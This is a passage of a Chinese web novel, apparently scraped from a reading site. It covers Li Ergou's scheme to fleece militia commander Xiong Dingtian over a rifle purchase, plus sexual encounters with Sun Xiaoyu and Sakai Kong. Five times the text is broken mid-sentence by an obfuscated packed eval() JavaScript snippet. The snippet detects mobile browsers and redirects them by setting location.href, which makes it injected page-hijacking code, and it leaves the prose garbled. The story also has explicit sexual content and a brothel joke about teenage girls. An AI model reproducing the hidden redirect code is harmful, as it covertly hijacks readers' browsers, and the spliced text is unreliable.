李二狗突然有了一个主意,如果操作得当,可以让汤司令除掉熊顶天。 第330章 你一定要救救兄弟 “大哥,是福不是祸,是祸躲不过,我看今晚你还是去一趟吧,先听听熊瞎子怎么说,咱们也好心里有底。” 孙竹刚还是有些担心,虽然熊顶天目前实力大损,但毕竟是汤司令的人,汤司令拥兵数万,他得罪不起! “兄弟,如果熊瞎子逼我,我怕自己招架不住,要不然你陪我一起去吧?” 李二狗没有多想,便答应了。 两人晚上七点来到县保安团。 熊顶天一改常态,亲自到门口迎接。 “孙县长大驾光临,有失远迎,快请进。” 他看了一眼站在孙竹刚身旁的李二狗,没想到他竟然也来了,看来此人和孙竹刚的关系确实非同一般。 “李管家也来了,欢迎欢迎。” 李二狗保持着恰到好处的微笑,微微欠身道:“叨扰了,熊团长莫要见怪。” 熊顶天一怔,好熟悉的声音,和那天晚上在霸虎寨山下听到的那个声音竟一模一样。 难道李二狗是霸虎寨的土匪头子? 想到这,熊顶天眼睛直勾勾发地盯着李二狗,他不敢相信,江东县长的座上宾竟是土匪头子! 难道是自己听错了? 孙竹刚见熊顶天没有答话,便特意解释道:“李管家到县里办点事,我便让他一起过来了,熊团长不会介意吧?” 熊顶天这才回过神来,自己的实力已经今非昔比,在没有确凿的证据之前,他不敢轻易动李二狗。 “孙县长这是说的哪里话?李管家能赏光是我熊某人的荣幸,快请进,咱们今晚不醉不归!” 李二狗从熊顶天看自己的眼神里发现了异样,他突然意识到,自己可能暴露了。 既然是这样,熊顶天不得不除了! 三人来到房间,熊顶天亲自给孙竹刚斟满了一杯酒,又要给李二狗斟酒。 “熊团长,怎么敢劳您大驾,我来给您倒。” 两人争执了一番,熊顶天执意要给李二狗斟酒。 “李管家,这里没有外人,你就不要辜负熊团长的一番美意了。” 李二狗笑道:“那就恭敬不如从命了,感谢熊团长。” 熊顶天朗声道:“这里没有熊团长,只有老熊,二狗兄弟,叫我老熊,你说我说的对不对,刚哥?” 孙竹刚没想到熊顶天竟把自己的姿态放得如此之低,可见他已经到了黔驴技穷的地步。 “二狗,既然老熊都如此说了,咱们就听老熊的吧,哈哈。” “哈哈,刚哥敞亮。”熊顶天笑得和弥勒佛一样,“今天两位贵客光临寒舍,鄙人不胜荣幸,我提议咱们先干一杯,敬咱们的缘分。” 李二狗内心努力憋着笑,两人现在已经是你死我活的程度竟然还谈**什么缘分!狗屁缘分! 孙竹刚毕竟是官场之人,见风使舵的本领非李二狗所能比拟。 “老熊的话真是令人感动啊,俗话说的好,天好人如意,八下都合适,大家能天南海北凑在一起不是缘分是什么?来,咱们干了!” 三人一饮而尽,熊顶天再次起身给众人斟满了酒。 “刚哥,请允许我再敬一杯酒。” 孙竹刚没想到熊顶天如此多的花样,笑道:“老熊,大家都是兄弟,什么敬不敬的?你坐下说。” 熊顶天坚持站起来,声音已经有些哽咽。 “刚哥,你可得救救兄弟啊!这杯酒,我先干为敬!” 说罢他一仰头,饮尽杯中酒。 孙竹刚端着酒杯没有动,故意埋怨道:“哎呀,我说老熊啊,你慢点喝,我这酒量可不比你啊。” “刚哥,**了,你随意就好。” 孙竹刚显得有些为难,口中说着这样不好吧?但只是轻轻撮了一小口。 熊顶天根本不在意这些,或者说他不敢在意。 “刚哥,你是咱们江东县的擎天白玉柱,架海紫金梁,全县谁不佩服?你一定要救救兄弟啊!” 说罢,眼泪便流了下来。 李二狗没想到熊顶天二米高的个子竟和个娘们似的哭哭啼啼,实在是令**跌眼镜。 孙竹刚故意显得很惊讶,问道:“老熊你这话从何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136556|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 说起啊?你刚带领保安团的兄弟剿灭了霸虎寨,我听说霸虎寨都被你们放火烧掉了?击毙击伤土匪无数,你立下如此盖世之功,怎么还让我救你?可别开哥哥玩笑啊!” 熊顶天又怎能听不出孙竹刚的揶揄之意,他依旧保持着悲痛的样子。 “刚哥,你有所不知啊,虽然我带兵剿灭了霸虎寨,但我们保安团也损失惨重啊!汤司令那边催得紧,再征不上兵,我这颗脑袋怕是保不住了!你一定帮兄弟想想辙,兄弟往后就是你的马前卒,上刀山下火海绝不含糊!我再敬你一杯!” 熊顶天说完又是一饮而尽。 孙竹刚紧闭着嘴唇,哭丧着脸。 “老熊啊,不是我不帮你,但你也得给我一点时间不是?” 熊顶天几乎是哀求的语气。 “刚哥,你看能不能先想办法给我们保安团添点人?” “老熊,你不会是在和我开玩笑吧?县保安团的兵源有严格限制,你这私下添人,上面可不给拨粮饷啊?你说你这是图什么?” 熊顶天心里暗骂孙竹刚狡猾,明明知道保安团损失惨重,却装着故意不知道。 “实不相瞒,此次剿匪保安团折损近四百名兄弟,刚哥,你一定要救救兄弟啊。” 孙竹刚重重地把酒杯往桌上一放,埋怨道:“老熊啊老熊,你说你让我说你什么才好?损失这么严重,你怎么不和我早说?这要让汤司令知道了,可是要杀头的!” 熊顶天声泪俱下,这正是他担心的地方。 “刚哥,你一定要救救兄弟啊,要让汤司令知道了,兄弟我这颗人头就真得保不住了。” 孙竹刚叹息一声,说道:“你也不要着急,只要咱们做好保密工作,汤司令短期内是不会知道的。” “可……” “你放心,咱们是兄弟,我怎么会见死不救呢?但你也得给我一点时间,我会想尽一切办法给你补充四百人,你看怎么样?” 熊顶天大喜过望。 “刚哥,光有人还不行,还得有****……” 第331章 你嫂子不是外人 孙竹刚苦着一张脸。 “老熊啊,你这不是为难我吗?我哪有那么多****给你?咱们县警察局只有百十支枪,我总不能把他们的枪都给你吧?警察不能拿着烧火棍去缉凶啊?” 李二狗一直静静地看着孙竹刚在表演。 “我倒是有个办法。” 熊顶天和孙竹刚齐刷刷看向李二狗。 “二狗兄弟,你有什么办法快说。” 李二狗知道熊顶天现在的低眉顺眼是为了崛起之后的变本加厉,这样的人现在表现的越卑微,以后只会越嚣张。 更何况他已发现自己的**,他是绝对不会放过自己的,当然李二狗也绝对不会放过他。 但在除掉他之前,李二狗还想把他这些年搜刮的民脂民膏让他吐出来。 “我可以去省城找**爹,通过他的关系,搞到四百支**应该没有什么问题,只不过……” 熊顶天仿佛抓住了救命稻草一般。 “只不过什么?二狗兄弟你倒是快说啊。” “只不过现在**短缺,价钱方面肯定不会便宜。” 熊顶天沉默了。 孙竹刚了解李二狗的脾气秉性,他绝对不会无缘无故地帮助熊顶天去搞枪,他这样做的目的无非只有一个,让熊顶天掏钱**。 他故意问道:“二狗兄弟啊,不知道现在一条**要多少钱啊?” 李二狗故意清了清嗓子,说道:“前段时间我们胡家大院买了几条**,现如今一条汉阳造八八式**,都要八十块大洋,至于像德国的**瑟**或者日本的三八式**就更贵了,至少得二百块大洋,这还是看在吴爷的面子上,不然还得更贵。” 熊顶天这一算,一支八十块大洋,四百支就得三万两千块大洋,这还不算**的钱,这是要他的命啊。 孙竹刚说道:“有**不算秃,我看就别买什么德国的、日本的,汉阳造就行,你说呢,老熊?” 熊顶天欲哭无泪,三万两千块大洋,就是打死他,他也拿不出来。 李二狗知道,熊顶天虽然没有三万多块大洋,但拿出两万块大洋还是轻而易举。 上次送他的十根金条就差不多值一万块大洋,加上这些年他克扣的军饷,抢夺的百姓财物,二万块大洋还是绰绰有余。 李二狗给孙竹刚使了个眼色,孙竹刚心领神会。 “县保安团为了维护江东的社会治安,做了巨大牺牲,我们县政府勒紧裤腰带资助五千块大洋。” 李二狗一跺脚,说道:“我们胡家大院也从牙缝里抠出五千块大洋资助熊团长。” “患难见真情,两位对我熊某人的深情厚谊,我只是不知道该如何报答,我再敬两位一杯,感谢慷慨解囊。” “这都是我们应该做的,老熊,你千万别客气,不过剩下的两万多块大洋就得靠你自己解决了。” 两万块大洋虽多,但和自己的性命比起来根本不值一提。 “好,我就算砸锅卖铁也一定凑够剩下的钱,一切就拜托二狗兄弟了。” 李二狗说道:“都是自家兄弟,千万别客气,熊哥,这次去省城你和我一起去吧,我只负责给你们牵个线。” 熊顶天一直还担心李二狗中饱私囊,正想着怎么提出自己一起去,没想到他竟主动提出了。 “好啊,省城我也是好多年没去了,正好拜访一下吴爷。” 熊顶天虽然依旧怀疑李二狗的土匪身份,但此时他必须依仗李二狗,便决定等他恢复元气之后再找李二狗算账。 “大哥,你要不要一起去?” “我就算了,江东还有一堆烂事等着我去处理,回头我让人把汇票送来。” 李二狗和熊顶天约好明天一早出发,孙竹刚答应派车送他们去省城。 李二狗有车,但他并不想让熊顶天知道。 三人一直喝到深夜,熊顶天大醉。 孙竹刚和李二狗一起搀扶着走出保安团。 “兄弟,太晚了,你别回去了,跟我回家,让你嫂子做点醒酒汤给你喝。” 看孙竹刚的样子已经喝醉,回去之后肯定倒头就睡,想到自己要单独面对严婆惜,李二狗心里就犯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136557|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 怵。 “大哥,太晚了,不去打扰嫂子了。” 孙竹刚坚持道:“你嫂子又不是外人,有什么打扰的?这么晚了,你也没有地方可去,还是跟我回去吧。” 李二狗故意露出一副猥琐的表情。 “大哥,我听说醉仙楼来了几个十几岁的小姑娘,我正好去体验体验,嘿嘿。” 孙竹刚作为一县之长,必须随时注意自己的形象,他内心也渴望去体验体验,但还是忍住了。 “那我就不勉强兄弟了,哈哈。” “大哥,要不要一起去体验体验?”李二狗故意问道。 “算了,大哥年纪大了,可不像你可以夜夜笙歌,哈哈。” 两人告别之后,李二狗酒劲上涌,头痛欲裂,只好回到在县城的家中。 三更半夜听到敲门声,孙小雨吓得缩在被窝里噤若寒蝉,根本不敢回应。 “小雨,是我,快开门。” 听到是李二狗的声音,孙小雨才赶紧下床,随便披了一件衣服来开门。 刚打开门,便闻到一股浓郁的酒气。 “狗哥,你怎么喝了这么多酒?快进来。” 此时的孙小雨,身上只披了一件上衣。 不知道是因为匆忙还是别的原因,她没有扣上纽扣,里面绣着鸳鸯戏水的红肚兜显得格外鲜艳。 李二狗看了一眼,不禁喉咙滚动,咽了一口口水。 此刻他觉得内心有一股火正在熊熊燃烧,火苗已经窜出体外,极度渴望得到释放。 这一切都被孙小雨看在眼里,她不禁红了脸庞。 “狗哥,快进屋吧,外边凉。” 李二狗觉得口渴难耐,嘴巴里干得冒火。 孙小雨搀扶着李二狗进了屋。 昏暗的油煤灯下,孙小雨的红色小肚兜显得愈发鲜艳,但她却丝毫没有扣上纽扣的意思。 “小雨,太晚了,你先去睡吧。” “狗哥,你喝了这么多酒,我去给你倒杯热水喝了暖暖胃。” 孙小雨转身去给李二狗倒水,她扭动腰肢的背影竟和慕容雪有几分相似。 第332章 孙小雨的诱惑 李二狗用力地拍了拍自己潮红发烧的脸颊,以此来提醒自己一定要控制住内心的欲望。 欲望猛于虎! 孙小雨是慕容雪的丫鬟,李二狗绝对不允许自己再犯男人最容易犯的错误,他不能对不起慕容雪。 李二狗,你一定要控制住自己,他不停地自己打气。 可不知道为什么,他眼前总是浮现出孙小雨身上的那件绣着鸳鸯戏水的红肚兜,里面鼓鼓囊囊的样子令他忍不住想要扯掉一探究竟。 李二狗狂咽几口口水。 既然惹不起,他决定躲起来。 他歪歪斜斜地向自己房间走去。 “狗哥,你等一下,我给你倒了一杯蜂蜜水,你快喝一点醒醒酒,不然会头疼的。” 身后传来孙小雨娇柔的声音,李二狗不自觉地停下了脚步。 他转过身,看到孙小雨手里正端着一个玻璃杯向自己走来。 不知道什么时候,她的上衣已经滑落在肩,精致的锁骨微微凸起,如同两朵盛开的雪莲花瓣,令李二狗不禁多看了几眼。 孙小雨羞涩一笑,锁骨处的皮肤随之轻轻颤动,更显娇媚动人。 “狗哥,你喝水。” 李二狗这才回过神来。 他忍不住咽了一口口水,伸手去接孙小雨手中的水杯。 孙小雨却没有松手,两个人的手便握在一起。 “狗哥……” 情急之下,李二狗急忙松开了手,孙小雨见状也松了手,一杯热乎乎的蜂蜜水便掉在地上。 “当啷”一声,玻璃杯子摔得粉碎。 “对不起,对不起,都怪我不小心。” 孙小雨说着就要去捡地上的玻璃碎渣,弯腰的同时上衣已经滑落在地,她竟丝毫没有察觉。 后背上的肩胛骨就像一只振翅欲飞的蝴蝶令李二狗热血上涌。 “小雨,小心你的手。” 为了阻止她,李二狗伸手拉住孙小雨的胳膊,触手处一片温热。 孙小雨顺势起身,投入李二狗的怀抱。 “狗哥……,都怪人家不小心,把蜂蜜水洒了,我再去给你倒一杯吧!” 孙小雨的声音百转千回,呼出的气息仿佛带着一股茉莉花香的味道,她顺势将头靠在李二狗的胸口。 “小雨,你别这样……” 孙小雨一脸委屈,抬头看着李二狗,眼含泪花。 “狗哥,是我哪里做的不够好吗?你为何总是对我如此冷淡?” 李二狗心跳的厉害,不可否认,孙小雨的容貌即使在慕容雪面前也毫不逊色,甚至还多了几分妩媚。 李二狗作为一个正常男人,不可能不动心。 可他不能这么做,否则就是玷污了慕容雪对自己的感情。 他深吸一口气,努力让自己镇静下来。 “小雨,你别这样说,你做的已经很好了。” 孙小雨委屈地问道:“那是我长得不够漂亮吗?” “你很漂亮,只是我……” “你还是忘不了小雪姐对吗?” 面对这个明知故问的问题,李二狗实在不知道该怎么回答她。 “我从很小的时候就跟着小雪姐,她待我如同姐妹,这一次我本应随她而去,可我……” 孙小雨已经泣不成声。 李二狗被孙小雨的深情所感动。 “小雨,你千万别这样想,小雪她肯定也不希望你这样,她只希望你过得开心一些,这样她在九泉之下也就瞑目了。” “狗哥,你知道吗?我从小就是个孤儿,小雪姐就是我唯一的亲人,现在她**,我真得不知道自己以后该如何活下去。” 孙小雨哭得浑身颤抖,把李二狗的心都哭碎了。 慕容雪因为救自己而死,自己有责任替她照顾好孙小雨。 这是他义不容辞的责任。 “小雨,你放心,只要有我在,我不会让你受到任何委屈。” 孙小雨不仅没有停止哭泣,反而哭得更大声了。 “狗哥,我喜欢你,从我见到你的第一眼我就喜欢你,没有你我不行!” 李二狗面对孙小雨大胆而热烈的表白,一时竟有些不知所措。 他不想接受但又不忍心拒绝。 孙小雨敏锐地察觉到李二狗身体的变化,嘴角不自觉露出了一丝不易察觉的笑容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143103|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' br>“哎吆!” 孙小雨突然发出一声轻吟,娇滴滴的声音仿佛能掐出水来。 “你怎么了,小雨?” “狗哥,人家的腿有点麻了。” “腿怎么麻了?你走两步试试。” “哎吆……” 孙小雨刚迈出步子,又忍不住呻吟一声,顺势倒在李二狗怀里。 “我扶你去床上休息一会吧。” “哎吆!” 孙小雨的双腿已经不听使唤,整个身子都伏在李二狗身上。 “狗哥,人家的腿走不了路了,好麻吆!” 李二狗当然知道孙小雨想让自己做什么,此情此景之下,他别无选择,只能弯腰把她抱在怀里。 “我抱你到床上去。” 孙小雨闭上眼睛,享受着李二狗结实而宽阔的胸膛带给自己的安全感。 李二狗抱着孙小雨走进卧室,放在床上的同时,孙小雨的双手却紧紧地搂住他的脖子。 “小雨,快松手……” “狗哥,你不要走……我要……” 她的唇猝不及防地吻住他的嘴,温热湿滑间,两个舌头已经缠绕在一起。 李二狗感觉自己的呼吸都困难起来,他把孙小雨压在身下。 孙小雨的脸红成了小苹果。 “狗哥,要我……” 李二狗看到慕容雪那张精致绝美的脸庞,他几乎不敢相信自己的眼睛。 “小雪……” 李二狗疯狂地吻了上去,孙小雨热烈地回应着,很快就把李二狗的衣服脱个精光。 “狗哥,我要……” 她慢慢地闭上了眼睛,等待着惊涛骇浪的到来。 李二狗突然打了一个喷嚏,人突然清醒起来,他这才看清床上躺着的是孙小雨,而不是慕容雪。 他使尽全身力气打了自己两个耳光。 “小雨,对不起!” 李二狗翻身下床,从地上捡起自己的衣服,落荒而逃。 “李二狗……” 孙小雨一把扯过被子,蒙在头上,放声痛哭。 李二狗回到自己房中,尚能听到孙小雨如泣如诉的哭声。 此刻,他心乱如麻! 第333章 极尽勾引之能事 李二狗躺在床上,翻来覆去总是睡不着,孙小雨一直哭到后半夜,才渐渐没有了声音。 不知道什么时候,李二狗也迷糊过去。 他又做了一个同样的梦,梦里的慕容雪正在温泉池中嬉戏,阳光洒落在她娇嫩的脸上,她是那么近,那么美。 李二狗再次呼唤着慕容雪的名字在睡梦中醒来,醒来时已是泪流满面。 最近这段时间,他总是做着同样一个梦。 他和慕容雪认识的时间并不长,只有短短两天的时间,他自己也想不明白为何总是释怀不了。 也许是因为慕容雪是为了救自己而死,但樊冰冰当初也是因为救自己而死,对她却没有这种日思夜想的情感。 李二狗越想越头疼,他觉得自己早晚有一天会毁在女人手中。 今天和熊顶天约好要去省城,李二狗决定等下一次再把孙小雨送到省城,至于原因,他自己也不清楚。 “狗哥。” 李二狗刚打开房门,便看到眼睛红肿的孙小雨,她手里端着一个脸盆,盆里的清水还冒着热气。 李二狗仿佛做错了什么事一般,不敢抬头看孙小雨,他害怕看到她那双纯净而又无辜的眼神。 “小雨,你怎么起这么早?” “我给你打了洗脸水,狗哥,让我伺候你洗脸吧。” 李二狗急忙说道:“不用,我自己来就好。” 不等孙小雨回答,李二狗便接过脸盆,放在盆架上洗了起来。 孙小雨拿着毛巾,站在李二狗侧后方,眼泪又忍不住落了下来。 她对李二狗的情感谈不上爱,只是觉得跟了他,自己下半生便有了保障。 男人都是偷腥的猫,只要自己不放弃,早晚有一天李二狗会把持不住自己。 想到这,孙小雨竟忍不住露出了一丝笑容。 意识到自己失态后,她赶紧收起笑容,双手捧着毛巾,时刻准备着。 李二狗刚转过身,她便迎了上去。 “狗哥,我给你擦吧。” 李二狗慌忙接过毛巾,说道:“我自己来就行。” “狗哥,你想吃什么?我去给你做早饭。” 孙小雨极尽温柔之能事,李二狗还真有点顶不住。 他想尽快逃离这个地方。 “我有急事得去县政府,你做了自己吃吧。” “再急的事也得吃了饭再走啊。” “县长在等着我,现在就得走,”说话间李二狗已经穿好衣服,“小雨,我要出去几天,你照顾好自己,尽量少出门,真有急事,就去县政府找孙县长帮忙。” 孙小雨机械般点了点头,她以为李二狗是在故意躲着她。 李二狗走后,孙小雨突然想到一件事情,瞬间惊呆了! 李二狗是清风寨的大当家,怎么和县长走得这么近? 联想到他在霸虎寨时蒙着面,想来肯定是在刻意隐瞒什么! 他的身份越神秘,孙小雨的好奇心反而就越重。 李二狗来到县政府,直接去了孙竹刚办公室。 孙竹刚还没有到,反而是熊顶天已经到了,正在会客室抽烟。 “熊团长,怎么来这么早?” 熊顶天一反常态,主动站起来,快步走到李二狗身边,主动伸出手。 “二狗兄弟,我这等得心急,想尽快赶到省城,孙县长怎么还没到?” 李二狗看了看表,已经八点半,想来孙竹刚快到了。 “孙县长一向很准时,快到了。熊团长,购**支的钱你带了吗?这么大的量,没有现钱对方是不会同意交货的。” 熊顶天想到自己要出两万多块现大洋,心疼的出血。 “二狗兄弟放心,钱我都带着了。” 说话间,孙竹刚到了。 “两位老弟怎么来的这么早?” 李二狗笑道:“熊团长已经迫不及待地想去省城了,还得麻烦孙县长尽快给我们派车。” “是啊,是啊,有劳孙县长了。” 想到上一次在县政府吃饭时,熊顶天鼻孔朝天的样子,真是三十年河东,三十年河西。 手里没兵,确实腰杆子就硬不起来。 想到这,李二狗突然觉得清风寨的武装力量是自己在乱世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143104|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 安身立命的重要保障,一定不能轻易放弃。 孙竹刚笑道:“两位老弟不要心急,我已安排财务室给开了一张五千块钱的汇票,你们没有钱,去了省城不也是徒劳吗?” “还是孙县长想得周到,我熊某人感谢了。” “老熊,咱们都是自家兄弟,就不要如此客套了。” 很快,一个戴着眼镜的中年男子便把一张汇票交到孙竹刚手中。 孙竹刚故意问道:“二狗,县政府的汇票已经开好了,你答应支援老熊的那五千块钱准备的怎么样了?” 李二狗尴尬地说道:“其实胡家大院这些年一直是外强中干,想拿出五千块大洋实在是有些困难。” 熊顶天一听,当即脸耷拉下来。 孙竹刚忍住笑,问道:“二狗,都答应老熊了,你可不能反悔啊,要是买不了这些**,老熊可过不了汤司令这一关啊。” “是啊,是啊,二狗兄弟务必帮帮哥哥啊。”熊顶天一脸苦相,就差落泪了。 “哎,既然我都答应了,就是砸锅卖铁也得凑齐五千大洋,熊大哥请放心,我去了省城找**爹借五千块大洋,肯定不会耽误**。” 熊顶天被李二狗感动的涕泪横流,借钱帮自己**,这样的朋友才是真朋友。 “二狗兄弟,患难见真情,以后你就看我老熊的表现吧。” 此时的熊顶天已经完全忘记了李二狗是土匪头子的嫌疑。 “那这张汇票就先由二狗兄弟保管吧,等凑齐了一万块大洋再给老熊。” 孙竹刚的逻辑完全站不住脚,但熊顶天却无法反驳。 李二狗接过汇票,装进自己兜里,熊顶天郁闷至极。 “孙县长,事不宜迟,你赶紧派车吧。” 孙竹刚打了个电话,放下电话后,说道:“车已经在楼下等候了,我等着两位的好消息。” “孙县长,还有那四百名士兵,还得请你多费费心。” “老熊,你就放心吧,等你把枪买回来,我一定给你凑够四百人。” “那一切就拜托孙县长了!” 第334章 我只是一名正经的日本商人 “熊团长,我听省政府的一个朋友说,汤司令已经知道了江东的事情,他没向你兴师问罪吧?” 熊顶天忿忿地骂道:“**,总有些小人喜欢在背后打老子小报告。” 李二狗附和道:“是啊,背后不知道有多少双眼睛盯着熊团长的位子,你千万要小心行事,不能被他们抓住把柄啊。” 李二狗几句话就把熊顶天内心的愤懑和急躁情绪调动起来。 他虽然是汤司令一手提拔起来的,但毕竟只是一个小小的县保安团团长。 人微言轻,一旦出事,汤司令不会为了保他而使自己陷入被动。 “二狗兄弟,你得帮帮哥哥啊,千万不能让这些小人得逞。” “熊团长放心,只要尽快把人和枪补齐,就是汤司令亲自到江东也发现不了什么破绽,区区几个土匪罢了,汤司令不会相信那些谗言的。” 熊顶天被李二狗几句话臊得满头大汗。 堂堂一个县保安团,兵强马壮,竟然差点被几个土匪全歼! 熊顶天真想找个地缝钻进去。 “那一切就拜托兄弟了。” “大家都是兄弟,好说,好说。” 两人很快就到达省城。 李二狗为了给自己争取安排的时间,便把熊顶天直接带到了百乐门大舞厅。 李师师见到李二狗就像见到亲人一般,她亲密地上前挽住李二狗的胳膊,胸脯子直往李二狗身上蹭。 “狗哥,你可有些日子没来了,让人家想得好苦。” 看李师师浪荡的表现,李二狗就知道静雯肯定不在百乐门,不然她不敢这样挑逗自己。 “李经理,我给你带来一位贵客,你可得照顾好啊。” 熊顶天看李师师和李二狗如此熟稔,就猜到李二狗是这里的常客,真是想不到他一个江东地主大院的管家竟在省城有如此大的能量。 李师师上下打量了一番熊顶天,见此人长得出奇的高大,往那一站,就像半垛城墙竖在那里。 这样的男人可是女人的心头肉。 “这位先生看着眼生,以前没来过我们百乐门吧?” 李师师说话间已经换上一副职业般的笑容,和看李二狗的眼神完全不同。 “李经理,这是我大哥,头一次来省城,有什么好姑娘可不要藏着掖着啊,哈哈。” 他趴在李师师耳朵边耳语一番,李师师不停地点头。 “狗哥,你就放心吧,我一定让熊团长高兴而来,满意而归。” 熊顶天看着舞池中一个个大波浪、小皮裙,兴奋地直搓手。 “熊哥,你在这里先放松放松,我去找**爹联系联系咱们的事。” 熊顶天此时早已把**的事抛诸脑后。 “兄弟,哥哥就拜托给你了。” 李二狗给李师师抛了个媚眼之后,直接离开了百乐门大舞厅。 他没有去找静雯,而是直接去了井伊商社。 酒井空听到李二狗来访,激动地对着镜子补妆。 “酒井小姐,别来无恙。” 分别数日,李二狗觉得酒井空多了几分女人味,更显妩媚。 上次两人不欢而散,酒井空一直以为自己和李二狗的情缘已断,为此她伤心难过了好久,没想到自己内心的伤痕还未结疤,他却主动找上门来。 “我以为你早就把我忘记了。” 此言一出,李二狗知道自己要求她帮的忙已经**不离十了。 “我就是忘了我自己也忘不了和你在一起的日日夜夜。” 经李二狗这么一煽情,酒井空情难自抑,在两人对视一秒钟之后,酒井空便扑入李二狗的怀抱。 她用粉拳不停地捶打着他的胸口。 “你坏**,让人家想你想得好苦。” 不可否认,酒井空作为日本女人,她身上所散发出来的那种女性魅力,的确让李二狗在她面前毫无抵抗力。 同时也因为她是日本人的身份,让李二狗和她交往起来内心毫无压力。 性和利益,才是他俩交往的终极目的。 “自从和你分别之后,我对你也是日思夜想。” “你讨厌,讨厌!” 两人情不自禁地吻了起来,热情奔放到辣眼睛。 两人你脱我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145994|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 件,我脱你一件,很快就赤裸相对。 李二狗暂时忘却了一切,他一把抱起酒井空,把她放在一张宽大的办公桌上,然后把桌上的杂物全部用手扫到地上。 面对李二狗玩的花活,酒井空早已化作了一摊水。 一番激情过后,酒井空完全被李二狗强壮的体魄所征服。 “狗儿,你真是一个令人着迷的男人。” “空儿,你真是一个令人迷醉的女人。” 两人四目相对,激情的火花再次四溅。 一直到两人精疲力尽,李二狗才说道:“空儿,我想求你一件事。” 酒井空依偎在李二狗怀里,别说一件事,就是十件、八件、一百件事,酒井空也会毫不犹豫地答应他。 “你和我之间不要用求字,说吧,什么事,你要我的命现在就可以拿去。” 李二狗便把自己的计划告诉了酒井空。 酒井空听后,突然变得一脸严肃。 “二狗,我只是一个商人,你不会以为我是日本特务吧?” 李二狗没想到酒井空反应如此强烈,很明显,她在欲盖弥彰。 “空儿,我从来没有怀疑过你的身份。” “那你还让我帮你去做那样的事情?我只是一个普通的日本商人。” 李二狗哄道:“我知道你的**,但中国老百姓不知道,他们只知道你是一个日本人。” 当前,日本政府正在策划华北五省自治,他们私下已经接触了华北五省很多地方实力派。 有一些地方军阀抵挡不住日本人开出的丰厚条件,私下已经和日本人签订协议,打算投靠日本人,做他们统治中国的傀儡。 当前国内反日情绪高涨,酒井空很担心李二狗会因此不再和她来往。 “好,我答应你,但你一定要相信我,我真不是日本特务,我只是一名正经的日本商人。” 李二狗心想,你是不是商人不好说,但肯定不正经。 “谢谢你,空儿,事成之后我一定会好好感谢你。” 一句话说的酒井空面红耳赤,她当然知道感谢意味着什么。 第335章 你大哥可真是一头驴 李二狗和酒井空商量了一些细节,约定好时间地点之后,李二狗才长长地舒了一口气。 “狗儿,时间还早,要不然……” 李二狗忍不住打个哆嗦,他自己也想不明白,为何他遇到的女人欲望都如此强烈。 “空儿,我还有事要办,等忙完了这件事,我再好好陪你。” 酒井空脸上闪过一丝失望之情,但很快便换成一张笑脸。 “事成之后,我要三天三夜。” 李二狗只觉得虎躯一震,顿时软的像摊泥。 他穿好衣服离开井伊商社,匆匆赶到吴公馆。 “二狗,什么时候来的?” 吴有德正在花园里浇花,看到李二狗到来自是十分开心。 “我刚到,这不就赶来看干爹了。” 吴有德哈哈大笑,说道:“你小子就是嘴甜,没去百乐门找静雯?我才不会信你小子的话。” 听到静雯不在,李二狗心里暗自松了一口气。 “干爹,我这次来省城是有一件重要的事情求您帮忙。” “咱们去屋里说。” 吴有德放下浇水壶,拍了拍手,走了进去。 